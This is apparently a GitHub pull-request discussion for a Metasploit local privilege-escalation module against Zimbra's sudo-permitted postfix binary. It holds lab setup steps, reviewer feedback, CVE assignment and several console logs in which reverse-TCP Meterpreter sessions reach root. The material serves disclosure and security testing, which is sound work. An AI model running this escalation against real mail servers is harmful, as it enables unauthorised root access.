

```
[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending stage (3045348 bytes) to 172.16.166.157
[*] Executing: sudo -n -1
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.GPjXSraCDY
[*] Writing '/tmp/.GPjXSraCDY/.qjSY8' (250 bytes) ...
[*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v
/tmp/.GPjXSraCDY/.qjSY8
[*] Sending stage (3045348 bytes) to 172.16.166.157
[+] Deleted /tmp/.GPjXSraCDY
[*] Meterpreter session 5 opened (172.16.166.147:4444 -> 172.16.166.157:36488) at 2022-10-14
13:19:25 -0700

meterpreter > getuid
Server username: root
```

Instructions for installing Zimbra

(Adapted from @cdelafuente-r7's original install way back like two months ago)

Create a VM

```
HDD = 128gb
Memory/etc don't matter
```

I installed a local DNS server (note: replace <ip> with the host's actual ip) (other note: replace apt with yum to do this on a Red Hat-derived system):

```
sudo apt update && sudo apt install dnsmasq
sudo hostnamectl set-hostname mail.example.org
echo "<ip> mail.example.org" | sudo tee -a /etc/hosts
echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org,
mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf
```

Configure the host to use it:

```
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo killall dnsmasq
sudo systemctl restart dnsmasq
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
```

Download Zimbra from https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll have to sell your soul and opt-in to spam, but they don't validate your email.

```
tar -xvvzf zcs-*.tgz
cd zcs*
sudo ./install.sh
* Lots of <enter>
* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local
`dnsmasq`
* Yes change the system
* Setup the admin password, probably turn off auto-updates
```





Check in zimbra postfix priv esc.rb

√ a2a2dcb

EvergreenCartoons commented on Oct 15

Works in my lab too (got the zimbra shell just by running an meterpreter as zimbra user, instead of cpio exploit, for testing):

For whatever reason it did hang after getting the session, I think that is just my local MSF instance needing a cleanup though, not an issue with exploit.

```
msf6 exploit(multi/handler) >
[*] Sending stage (3020772 bytes) to 192.168.0.84
[*] Meterpreter session 1 opened (192.168.0.86:4444 -> 192.168.0.84:58918) at 2022-10-15 13:19:18
-0400
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: zimbra
meterpreter > sysinfo
Computer
            : 192.168.0.84
0S
             : Ubuntu 20.04 (Linux 5.4.0-128-generic)
Architecture: x64
BuildTuple : x86 64-linux-musl
Meterpreter : x64/linux
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/zimbra_postfix_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > show options
Module options (exploit/linux/local/zimbra_postfix_priv_esc):
```

Name	Current Setting	Required	Description
COMPILE	Auto	yes	Compile on target (Accepted: Auto, True, False)
SESSION		yes	The session to run this module on
SUDO_PATH	sudo	yes	Path to sudo executable
ZIMBRA_BASE	/opt/zimbra	yes	Zimbra's installation directory

```
Payload options (linux/x64/meterpreter/reverse_tcp):
   Name Current Setting Required Description
   ---- ------
   LHOST 192.168.0.86 yes
                                   The listen address (an interface may be specified)
   LPORT 4444
                       yes
                                 The listen port
Exploit target:
   Id Name
   __ ___
   0 Auto
msf6 exploit(linux/local/zimbra postfix priv esc) > set session 1
msf6 exploit(linux/local/zimbra postfix priv esc) > run
[*] Started reverse TCP handler on 192.168.0.86:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.R5EYp
[*] Writing '/tmp/.R5EYp/.T3ncGKcrsA' (250 bytes) ...
[*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v
/tmp/.R5EYp/.T3ncGKcrsA
[*] Sending stage (3020772 bytes) to 192.168.0.84
[+] Deleted /tmp/.R5EYp
[*] Meterpreter session 2 opened (192.168.0.86:4444 -> 192.168.0.84:50582) at 2022-10-15 13:19:51
-0400
getuid
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > sessions -1
Active sessions
==========
 Id Name Type
                                Information
                                                     Connection
                                 -----
                                                       _____
  -- ---- ----
           meterpreter x64/linux zimbra @ 192.168.0.84 192.168.0.86:4444 -> 192.168.0.84:58918
(192.168.0.84)
           meterpreter x64/linux root @ 192.168.0.84 192.168.0.86:4444 -> 192.168.0.84:50582
  2
(192.168.0.84)
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
```

Server username: root

```
meterpreter > sysinfo
Computer : 192.168.0.84

OS : Ubuntu 20.04 (Linux 5.4.0-128-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

- A cdelafuente-r7 self-assigned this on Oct 17
- cdelafuente-r7 added module docs labels on Oct 17

cdelafuente-r7 requested changes on Oct 17

View changes

cdelafuente-r7 left a comment

Contributor

Thanks @rbowes-r7 for this module! There are just a few comments/suggestions before it lands.

```
documentation/modules/exploit/linux/local/zimbra_postfix_priv_esc.md
        17
             + msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -1
        18
        19
        20
             + Active sessions
             + =========
        21
        22
                                               Information
        23
            + Id Name Type
                                                                        Connection
                                                 -----
                                                                           _____
        24
                           meterpreter x64/linux zimbra @ mail.example.org 172.16.166.147:4444
               -> 172.16.166.157:47210 (172.16.166.157)
        26
            + msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use
        27
               exploit/linux/local/zimbra_postfix_priv_esc
             + [*] Using configured payload linux/x64/meterpreter/reverse_tcp
        28
             + msf6 exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1
        29
             + SESSION => 1
        30
             + msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit
        31
        32
             + [*] Started reverse TCP handler on 172.16.166.147:4444
             + [*] Running automatic check ("set AutoCheck false" to disable)
        34
        35
             + [*] Sending stage (3045348 bytes) to 172.16.166.157
```

```
36
    + [*] Executing: sudo -n -l
37
     + [+] The target appears to be vulnerable.
    + [*] Creating exploit directory: /tmp/.GPjXSraCDY
39
    + [*] Writing '/tmp/.GPjXSraCDY/.qjSY8' (250 bytes) ...
    + [*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v
40
       /tmp/.GPjXSraCDY/.qjSY8
     + [*] Sending stage (3045348 bytes) to 172.16.166.157
41
    + [+] Deleted /tmp/.GPjXSraCDY
42
    + [*] Meterpreter session 5 opened (172.16.166.147:4444 -> 172.16.166.157:36488) at
43
       2022-10-14 13:19:25 -0700
44
45
     + meterpreter > getuid
46
     + Server username: root
47
```

cdelafuente-r7 on Oct 17

Contributor

This should be moved to a separate section ## Scenarios below ## Options . This template shows details about each required section.

rbowes-r7 on Oct 17

Contributor (Author)

I'm never 100% sure what the difference is between Verification and Scenarios, especially for modules that you just set LHOST/RHOSTS and run, but I tried to separate it out and added my Zimbra-installation steps in case that helps.

cdelafuente-r7 on Oct 18

Contributor

The installation steps are definitely a good idea, thanks for adding them.

Verification Steps is where you add the steps for whoever will review/test the module. It is usually generic information in this format:

- 1. Install the application
- 2. Start msfconsole
- 3. Do: use [module path]
- 4. Do: set RHOSTS <remote IP>
- 5. Do: run
- 6. You should get a shell.

Scenarios contains a real example with the console output. It can contain multiple examples if you want to demonstrate how the module behaves according to the target OS, ACTION setting, PAYLOAD type etc.

This template is a good starting point: https://github.com/rapid7/metasploitframework/blob/master/documentation/modules/module_doc_template.md

cdelafuente-r7 on Oct 18

Contributor

I just submitted a PR to your feature branch with some updates. Feel free to update it and land it if you think it makes sense.

modules/exploits/linux/local/zimbra_postfix_priv_esc.rb 35 'Arch' => [ARCH X86, ARCH X64], 'SessionTypes' => ['shell', 'meterpreter'], 36 'Privileged' => true, 37 38 'References' => [cdelafuente-r7 on Oct 17 Contributor Just adding a note here as a placeholder to add the CVE number once it is out. Also, once it is fixed, adding the fixed version to the documentation and module description would be great. rbowes-r7 on Oct 17 (Contributor) (Author) I dunno if this will get a CVE number, unless we mint one ourselves. Maybe I'll ask Tod to make one:) todb-r7 on Oct 17 Contributor Just reserved CVE-2022-3569 for this. Feel free to drop it in the module on the next edit. todb-r7 on Oct 17 Contributor CVE PR'ed for staging, @rbowes-r7 : rapid7/cvelist#62 modules/exploits/linux/local/zimbra_postfix_priv_esc.rb (Outdated) Show resolved modules/exploits/linux/local/zimbra_postfix_priv_esc.rb (Outdated) Show resolved Resolve feedback - get rid of unnecessary directory, add CVE number, ✓ dea3f72 rbowes-r7 commented on Oct 17 Contributor Author I believe I've fixed everything that @cdelafuente-r7 asked for! **※** 1 Documentation fix to follow the template fa67b69

Zimbra Postfix LPE doc fix rbowes-r7/metasploit-framework#1

Merged

Merge pull request #1 from cdelafuente-r7/zimbra postfix doc fix ...

√ 61abcc0

cdelafuente-r7 approved these changes on Oct 19

View changes

cdelafuente-r7 commented on Oct 19

Contributor

Thanks @rbowes-r7 for updating this. Everything looks good now. I tested against version 8.8.15.GA.4179 Ubuntu 20.04.4 and it works great. I'll go ahead and land it.

• Example output

msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit session=1 lhost=10.0.0.1 lport=4445 verbose=true

- [*] Started reverse TCP handler on 10.0.0.1:4445
- [*] Running automatic check ("set AutoCheck false" to disable)
- [*] Executing: sudo -n -l
- [+] The target appears to be vulnerable.
- [*] Writing '/tmp/.PgC9T1Z' (250 bytes) ...
- [*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v /tmp/.PgC9T1Z
- [*] Transmitting intermediate stager...(126 bytes)
- [*] Sending stage (3045348 bytes) to 10.0.0.29
- [+] Deleted /tmp/.PgC9T1Z
- [*] Meterpreter session 2 opened (10.0.0.1:4445 -> 10.0.0.29:55446) at 2022-10-19 10:28:35 +0200

meterpreter > getuid Server username: root meterpreter > sysinfo

: mail.donotexistdomain.foo Computer

0S : Ubuntu 20.04 (Linux 5.15.0-50-generic)

Architecture : x64

BuildTuple : x86_64-linux-musl

Meterpreter : x64/linux

cdelafuente-r7 merged commit c432729 into rapid7:master on Oct 19

View details

22 checks passed





Contributor

Release Notes

This adds a new module to exploit a vulnerable sudo configuration in Zimbra that permits the zimbra user to execute postfix as root. In turn, postfix can execute arbitrary shell scripts and get command execution as the root user. Currently, as of 2022-10-14, all versions of Zimbra are vulnerable.

